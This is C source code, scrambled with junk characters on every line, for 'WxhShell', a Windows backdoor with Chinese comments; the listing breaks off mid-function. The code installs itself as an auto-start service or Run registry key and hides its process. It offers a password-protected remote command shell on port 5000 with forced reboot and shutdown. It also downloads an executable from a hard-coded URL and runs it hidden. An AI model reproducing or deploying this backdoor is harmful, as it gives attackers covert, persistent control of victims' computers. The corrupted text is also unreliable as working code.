ULONG InheritedFromUniqueProcessId; wXR7Ifrv
} PROCESS_BASIC_INFORMATION; "udA-;!@&
t,w'w_C
PROCNTQSIP NtQueryInformationProcess; 2I[(UMI$7
z:1"d
R
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7&`Yl[G
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c`Q#4e]%_
/Fj*sS8
HANDLE hProcess; 8*x/NaH
/\
PROCESS_BASIC_INFORMATION pbi; '_q&~M{
t~v_k\`{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k,,Bf-?
if(NULL == hInst ) return 0; D[p_uDIz
Cl>|*h+m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zp'Vn7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MSqW {
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fphi['X
/OD@Xl];K
if (!NtQueryInformationProcess) return 0; }'`iJb\
Mg~62u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hb&C;lk
if(!hProcess) return 0; %\f<N1~*
n@=D,'cn
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XpH d"(*
.;J6)h
CloseHandle(hProcess); vu@@!cT6e
;$Pjl8\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d~abWBgC`
if(hProcess==NULL) return 0; r91b]m3xL
[gaB}aLn
HMODULE hMod; }PUY~
u
char procName[255]; 0/5{v6_rG
unsigned long cbNeeded; d_1uv_P
o}b_`O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WSxE/C|[
+/>XOY|Ie
CloseHandle(hProcess); P>nz8NRq
o_C]O"
if(strstr(procName,"services")) return 1; // 以服务启动 9dCf@5]
'H8b+
return 0; // 注册表启动 G,X> f?
} 2cQG2N2*
7Z<
2`&c7
// 主模块 2n3!pZ8
int StartWxhshell(LPSTR lpCmdLine) &{e:6t
{ PfN[)s4F{R
SOCKET wsl; 7pO/!Lm
BOOL val=TRUE; >&[q`i{
int port=0; O0_kLH$.
struct sockaddr_in door; yPoa04!{=
WRqpQEY
if(wscfg.ws_autoins) Install(); N{&Hq4^c
exxH0^
port=atoi(lpCmdLine); F-=Xbyr3@
o`M.v[O
if(port<=0) port=wscfg.ws_port; XK{K FB-
e~ %=H 0n
WSADATA data; P,<pG[^K
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *"d['V3
X:JU#sI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rVM?[_'O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); quL+UFuM
door.sin_family = AF_INET; /5Tp)h|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); c[+uwO~
door.sin_port = htons(port); |>/m{L[
VmON}bb[zz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MlV3qM@
closesocket(wsl); =rN_8&
return 1; 9Pql\]9"o
} D[0g0>K
|.?$:D&6
if(listen(wsl,2) == INVALID_SOCKET) { MZvxcr{x
closesocket(wsl); FT6~\9m(
return 1; }u+cS[#-
} B-oQjr-
Wxhshell(wsl); 3Ct)5J
WSACleanup(); f{j`d&|
]D<3yIGS
return 0; m](q,65 2
JN-W`2
} -ZH6*7!
Ay|K>8z
// 以NT服务方式启动 ]$)U~)T
iW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dmYgv^t
{ Z#zXary5s
DWORD status = 0; 5}4>vEn
DWORD specificError = 0xfffffff; 85rjM#~
M7.H;.?
serviceStatus.dwServiceType = SERVICE_WIN32; ~j yl
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \hDjZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )@_5}8
serviceStatus.dwWin32ExitCode = 0; d`3>@*NR<
serviceStatus.dwServiceSpecificExitCode = 0; $Dm|ol.Z
serviceStatus.dwCheckPoint = 0; /DX6Hkkj %
serviceStatus.dwWaitHint = 0; "b[w%KYyl
(/jZ&4T
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]6].l$%z#
if (hServiceStatusHandle==0) return; ~\UAxB=
$
S]l%
status = GetLastError(); Ap!Y 3C
if (status!=NO_ERROR) 7e=s`j
{ rLE5fl5W
serviceStatus.dwCurrentState = SERVICE_STOPPED; y eWB.M~X
serviceStatus.dwCheckPoint = 0; zt2#6v
serviceStatus.dwWaitHint = 0; yDw#V`Y^M
serviceStatus.dwWin32ExitCode = status; ;:aCZ8e
serviceStatus.dwServiceSpecificExitCode = specificError; *n_7~ZX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J0UF(
return; O^r,H,3S
} LvW7>-
I(va;hG<o
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1q/Q@O
serviceStatus.dwCheckPoint = 0; )#v0.pE
serviceStatus.dwWaitHint = 0; k3UKGP1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zhVkn]z~*
} _)MbvF
vt(cC))
// 处理NT服务事件,比如:启动、停止 Y))x'<T'Q
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?@H/;hB[|
{ cIg+^Tl
switch(fdwControl) qsHjqK@(
{ /{!?e<N>
case SERVICE_CONTROL_STOP: Rv|X\Wm
serviceStatus.dwWin32ExitCode = 0; [4b_`L
serviceStatus.dwCurrentState = SERVICE_STOPPED; u5A$VRMN
serviceStatus.dwCheckPoint = 0; S3sxK:
serviceStatus.dwWaitHint = 0; jd+U+8r
{ @QAI 0ZY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -op(26:W<
} -aQf(=
return; Lz=GA?lk[\
case SERVICE_CONTROL_PAUSE: j'q Iq;y
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7i88iT
break; Q6hWHfS
case SERVICE_CONTROL_CONTINUE: dReJ;x4
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]::g-&%Um
break; N _|tw
case SERVICE_CONTROL_INTERROGATE: hw0u?++
break; kB=\a(
}; p]x9hZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5^C.}/#>F
} Yl"l|2
:
;fZ9:WB
// 标准应用程序主函数 b|nh4g
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E&>=
{ /XXy!=1J
i7foZ\btFc
// 获取操作系统版本 2Z7r ZjXW
OsIsNt=GetOsVer(); ?K=
X[
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Mr^~7nN
4+q3
Kw
// 从命令行安装 ,7ZV;f81
if(strpbrk(lpCmdLine,"iI")) Install(); 6HRr4NDcj
[]hC*
// 下载执行文件 &'oZ]}^0
if(wscfg.ws_downexe) {
f~w!Z
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ':DLv{R
WinExec(wscfg.ws_filenam,SW_HIDE); %)sG 34
} oETl?Vt
@]@6(To
if(!OsIsNt) { A3Oe=rB
// 如果时win9x,隐藏进程并且设置为注册表启动 Gk]6WLi
HideProc(); ?(>fB2^
StartWxhshell(lpCmdLine); 5'S~PQka*
} { !NXu
else 1hW"#>f7
if(StartFromService()) M7\yEi"*
// 以服务方式启动 MT{ovDA].
StartServiceCtrlDispatcher(DispatchTable); }S6"$R
else &z?:s
// 普通方式启动 B-W8Zq#4>
StartWxhshell(lpCmdLine); L%
`lC]
FwqaWEk
return 0; <L+y
6B
} +|zcjI'=O
pN#RTb8o
c&I"&oZ@&
>WmTM0
=========================================== 8 EUc
6
Wph@LRB]
mH/9J
2dnyIgi
'yNS(Bg=
KYR64[1
" :Hq#co
_7b' i6-
#include <stdio.h> \&b1%Asyz
#include <string.h> P;
9{;
#include <windows.h> G1G*TSf
#include <winsock2.h> `
*q>E
#include <winsvc.h> l9#@4Os
#include <urlmon.h> 4N8(WI"4S
E@_]L<Z
#pragma comment (lib, "Ws2_32.lib") `]j:''K
#pragma comment (lib, "urlmon.lib") 9}jezLI/3
lB*HLC
#define MAX_USER 100 // 最大客户端连接数 2JL\1=k;
#define BUF_SOCK 200 // sock buffer J4#rOS
#define KEY_BUFF 255 // 输入 buffer nWFU8u%
IM=3n%6
#define REBOOT 0 // 重启 9qI#vHA
#define SHUTDOWN 1 // 关机 P~M<OUg
"g:1br?X,9
#define DEF_PORT 5000 // 监听端口 PIM4c
% 9} ?*U
#define REG_LEN 16 // 注册表键长度 3NSX(gC%
#define SVC_LEN 80 // NT服务名长度 Z~v-@
jW;g{5X
// 从dll定义API q}cm"lO$
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )<[)7`
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1fqJtP6
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %![3?|8~
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EGxCNB
bE6bx6=u
// wxhshell配置信息 RiiwsnjC
struct WSCFG { P@FE3g
int ws_port; // 监听端口 *u ]aWx
char ws_passstr[REG_LEN]; // 口令 >,a$)z
int ws_autoins; // 安装标记, 1=yes 0=no PauF)p
char ws_regname[REG_LEN]; // 注册表键名 |OBh:d_B]
char ws_svcname[REG_LEN]; // 服务名 ):7mK03J
char ws_svcdisp[SVC_LEN]; // 服务显示名 'q\[aKEX=
char ws_svcdesc[SVC_LEN]; // 服务描述信息 74fE%;F
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QE+HL8c^s
int ws_downexe; // 下载执行标记, 1=yes 0=no %gEgpJd
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i)=
\-C
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JVR,Py:%G
|syvtS{
}; U?=-V8#M|
;VS$xnZ
// default Wxhshell configuration mOfTq]
@B
struct WSCFG wscfg={DEF_PORT, %/w%A:y#&
"xuhuanlingzhe", jJyS^*.X
1, )8%m|v#W
"Wxhshell", nd~O*-uYg
"Wxhshell", #:s*Hy=
"WxhShell Service", dU&hM<.|
"Wrsky Windows CmdShell Service", _B7+n"t\r
"Please Input Your Password: ", kK/([!
1, dO4Jf9)
"http://www.wrsky.com/wxhshell.exe", $7*@TMX
"Wxhshell.exe" 65U&P5W
}; -lS(W^r4
" 2Q*-
// 消息定义模块 #+L:V&QE
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :gTtWJ04]
char *msg_ws_prompt="\n\r? for help\n\r#>"; `X%Qt~
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xx1e SX
char *msg_ws_ext="\n\rExit."; t&Jrchk
char *msg_ws_end="\n\rQuit."; WSbD."p<
char *msg_ws_boot="\n\rReboot..."; [oOV@GE
char *msg_ws_poff="\n\rShutdown..."; O96%U$W
char *msg_ws_down="\n\rSave to "; "f:_(np,
',]^Qu`a
char *msg_ws_err="\n\rErr!"; p4vX3?&1W
char *msg_ws_ok="\n\rOK!"; ?g4S51zpp
l7#2
e ORm
char ExeFile[MAX_PATH]; 65l9dM2
int nUser = 0; rA /T>ZM
HANDLE handles[MAX_USER]; eFC~&L;
int OsIsNt; Yc^,Cj{OM
,c|Ai(U
SERVICE_STATUS serviceStatus; 1*?L>@Wdy
SERVICE_STATUS_HANDLE hServiceStatusHandle; X3m)
`JcWH_[
// 函数声明 xM?tdQ~VHY
int Install(void); M8${&&[;
int Uninstall(void); t8.^Y TI
int DownloadFile(char *sURL, SOCKET wsh); Bdm05}c@u
int Boot(int flag); cUr5x8<W).
void HideProc(void); _ ( $U\FW
int GetOsVer(void); 7{p6&xXx
int Wxhshell(SOCKET wsl); pkc*toW
void TalkWithClient(void *cs); g`dAj4B
int CmdShell(SOCKET sock); Bhk@0\a
int StartFromService(void); <OTx79m
int StartWxhshell(LPSTR lpCmdLine); o]<J&<WM
Dlg9PyQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ('+C $
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q2"K!u]
R%"'k<`#
// 数据结构和表定义 PAXm
SERVICE_TABLE_ENTRY DispatchTable[] = 7A^L$TY
{ w d6+,B
{wscfg.ws_svcname, NTServiceMain}, X'p%K/-m
{NULL, NULL} NUh+ &M
}; ?hKpJA'%
|#zj~>7?
// 自我安装 5=Il2
int Install(void) (Q"~bP{F
{ >cH}sNHy
char svExeFile[MAX_PATH]; 7
lu_E.Bv
HKEY key; Q-KBQc
strcpy(svExeFile,ExeFile); fvRqt)Ks
2E0oLl[
// 如果是win9x系统,修改注册表设为自启动 D~)bAPAD
if(!OsIsNt) { |y4j:`@.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /L=Y8tDt
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ijmGk:L(
RegCloseKey(key); _|7bpt9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~0rvrDDg
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0(Hzh?t_
RegCloseKey(key); ,Bl_6ZaL
return 0; ;0-R"c)-
} hbm#H7Y
} 5C-XQS1
} zT ")!Df>'
else { +|qw>1J(
PV-B<Y
// 如果是NT以上系统,安装为系统服务 =g?k`vp
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w[#*f?at~
if (schSCManager!=0) >3&9Wbv>
{ M:oZk&cs
SC_HANDLE schService = CreateService f=-R<l
( AE=E"l1]
schSCManager, ;&XC*R+
wscfg.ws_svcname, DJ`xCs!R
wscfg.ws_svcdisp, n@J>,K_B
SERVICE_ALL_ACCESS,
pzb`M'Z?C
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aVp-Ps|r
SERVICE_AUTO_START, |CPyCM$
SERVICE_ERROR_NORMAL, :A5h<=[
svExeFile, r |2{(+
NULL, c"P:p%\m&u
NULL, S}6xkX
NULL, XO}SPf-
NULL, !UHX?<3r
NULL \{={{O
); w{ Pl
if (schService!=0) h]&o)%{4
{ _7
^:1i~:.
CloseServiceHandle(schService); ?;ZnD(4?
CloseServiceHandle(schSCManager); $`<-;kI
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V6_~"pRR=
strcat(svExeFile,wscfg.ws_svcname); L&&AK`Ur3l
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wI?AZd;`'
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :VE0eJ]J6
RegCloseKey(key); oE)xL%*
return 0;
%$=2tfR
} fni7HBV?
} )\J~KB4
CloseServiceHandle(schSCManager); T1;>qgp4b
} u56F;y
} 1i;Cw/mr
`o21f{1]X&
return 1; nGxG!
} De<i
8/^=
GjbOc
// 自我卸载 x[mh^V5ld
int Uninstall(void) -m$2"_
{ .dj}y
jd]f
HKEY key; \zhCGDm1_
;f
/2u
if(!OsIsNt) { )*&61
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PNH>LT^
RegDeleteValue(key,wscfg.ws_regname); M6y|;lh''c
RegCloseKey(key); py6O\` \
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gps.
RegDeleteValue(key,wscfg.ws_regname); # ELYPp]6
RegCloseKey(key); L$^)QxH7
return 0; >J{e_C2ZS
} 37*2/N2
} X39%O'
} A@e!~
else { u/%Z0`X
e^v\K[
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #JR$RH
if (schSCManager!=0) `bWc<4T
{ g`4WisL1n
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d w'P =8d
if (schService!=0) 8:K_S a%
{ XpPcQIM*
if(DeleteService(schService)!=0) { 2Hk21y\
CloseServiceHandle(schService); $F6GCM3Cx
CloseServiceHandle(schSCManager); G`f|#-}
return 0; |}@teN^J*U
} bVr`a*EM
CloseServiceHandle(schService); f;!L\$yKy
} HBA|NV3.
CloseServiceHandle(schSCManager); sn+ kFvk}S
} K6 ,d{n
} !8tqYY?>@\
VUD9ZyPw
return 1; % -.V6}V
} f7Gs1{
57EL&V%j
// 从指定url下载文件 %&eBkN!T
int DownloadFile(char *sURL, SOCKET wsh) +No Ve#
{ 1*:BOoYx
HRESULT hr; %&wi@ *#
char seps[]= "/"; :0p$r
pJP
char *token; ]ClqX;'weJ
char *file; y2nT)nL
char myURL[MAX_PATH]; ]'Gz~Z%>F
char myFILE[MAX_PATH];
zuF]E+
lU`t~|>r+
strcpy(myURL,sURL); ,M
:j5
token=strtok(myURL,seps); QN#tj$x
while(token!=NULL) c/%GfB[w0
{ zL3I!& z2
file=token; TRr%]qd{Hr
token=strtok(NULL,seps); W>u{JgY
} rj/nn)vv;
q-S#[I+g
GetCurrentDirectory(MAX_PATH,myFILE); Q)5V3Q]@^
strcat(myFILE, "\\"); cDz^jC
strcat(myFILE, file); C1OiM b(:
send(wsh,myFILE,strlen(myFILE),0); c=re(
send(wsh,"...",3,0); 3pyE'9"f6
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4W=fQx]
if(hr==S_OK) fIn^a3TV
return 0; O2/_$i[F
else | NyANsI
return 1; <slrzc_>&
'@1C$0tx
} sVe<l mL
N w/it*f
// 系统电源模块 -}RGz_LO/
int Boot(int flag) "om[S :ai
{ [4+I1UR`
HANDLE hToken; #Vy:6O
TOKEN_PRIVILEGES tkp; HT6$|j
p9&gKIO_m
if(OsIsNt) { [@@EE>
y
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Vh}d/
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yoM^6o^,D
tkp.PrivilegeCount = 1; M3eFG@,
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yi <1z:\
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (^58$IW71
if(flag==REBOOT) { zX6Q7Bc
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4r#4h4`y|
return 0; "i&9RA!1
} f[?JLp
else { @0%[4
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *DQa6,b
return 0; /)sP<WPQ6
} F6_en z
} '_ys4hz}
else { %8>0;ktU
if(flag==REBOOT) { ei~f1$zc#h
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BW ux!
return 0; w17CZa
6
} {
PS0.UZ
else { mdlMciP
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vSo1WS
return 0; *hh9
K
} r6It)PQ
} :es=T`("A8
Cv;#8Wj}
return 1; JD9=gBN\?
} onm"7JsO'
Ql"~ z^L
// win9x进程隐藏模块 *a-KQw
void HideProc(void) %q6I-
{ v`U;.W
-1w^z`;2h
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?U
=Mdw
if ( hKernel != NULL ) q9c-UQB(!
{ }/Qj8l.
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]1MZ:]k
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0D0uzUD-
FreeLibrary(hKernel); u"8KH
u5C@
} #VxN [770
<`NtTG
return; @?gRWH;Pq
} b"Jr_24t3v
QQD7NN>
// 获取操作系统版本 x:c'ek
int GetOsVer(void) )5u#'5I>
{ Iu^I?c[
OSVERSIONINFO winfo; |W}D_2
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 c]]
GetVersionEx(&winfo); `#l1
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YD0j&@.
return 1; c= aZ[
else )|W6Z
return 0; m ;wj|@cF
} %CqG/ol
_|#P~Ft
// 客户端句柄模块 m= %KaRI
int Wxhshell(SOCKET wsl) +o35${
{ !Z0S@]C
SOCKET wsh; )S}.QrG
struct sockaddr_in client; Q]OR0-6<.
DWORD myID; WkV0,_(P
&PX!'%X68h
while(nUser<MAX_USER) . HAFKB;
{ g"`jWSt7Q
int nSize=sizeof(client); 3N4kW[J2i
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[WXcp1p
if(wsh==INVALID_SOCKET) return 1; S'`RP2P
=F_j})O5
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ox@$ }
if(handles[nUser]==0) !E,|EdIr
closesocket(wsh); 7/K'nA
else n*TKzn4E
nUser++; SZ:R~4 A
} zoBp02j
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r4fd@<=g
g[;&_gL
return 0; ;u<F,o(
} Swgvj(y;!A
V7vojm4O
// 关闭 socket ]#7baZ
void CloseIt(SOCKET wsh) w:](F^<s,
{ bAUYJPRpy
closesocket(wsh); ,^jQBD4={
nUser--; 65tsJ"a<
ExitThread(0); >fD%lq;
} Ex6Kxd}8
\w-3Spk*
// 客户端请求句柄 oG-Eac,
void TalkWithClient(void *cs) pp2 Jy{\d
{ rddn"~lm1
v!=e]w6{
SOCKET wsh=(SOCKET)cs; Z1p%6f`
char pwd[SVC_LEN]; w9Nk8OsL
char cmd[KEY_BUFF]; ;CuL1N#I
char chr[1]; G]dHYxG
int i,j; e~nh95
I<"UQ\)
while (nUser < MAX_USER) { iZ0(a
:Ye~I;"8
if(wscfg.ws_passstr) { &E@mCQ1
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "$q"Kilj%
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ob/HO(h3
//ZeroMemory(pwd,KEY_BUFF); oWggh3eXk
i=0; dvglh?7d
while(i<SVC_LEN) { !:~C/B{
QaXdO=3
// 设置超时 [=:4^S|M
fd_set FdRead; N9vNSmm
struct timeval TimeOut; wQM( |@zE}
FD_ZERO(&FdRead); )ri'W
<l
FD_SET(wsh,&FdRead); g^U-^f
TimeOut.tv_sec=8; a, `B.I
TimeOut.tv_usec=0; RK_z!%(P
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -$kbj*b##
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9h<iw\$'
~8'HX*B]z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |1Nz8Vr.
pwd=chr[0]; ^5+7D1>W%
if(chr[0]==0xd || chr[0]==0xa) { iphdJZ/f
pwd=0; %v^qQWy=*
break; 5U*${
} C*Qx
i++; s}DNu<"g
} NkQain9
l a_
// 如果是非法用户,关闭 socket L>N)[;|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R5 EC/@
} v4\
m9Pu4
\P*%u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Sv$!xX`n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1M[|9nWUC
YP{mzGdE&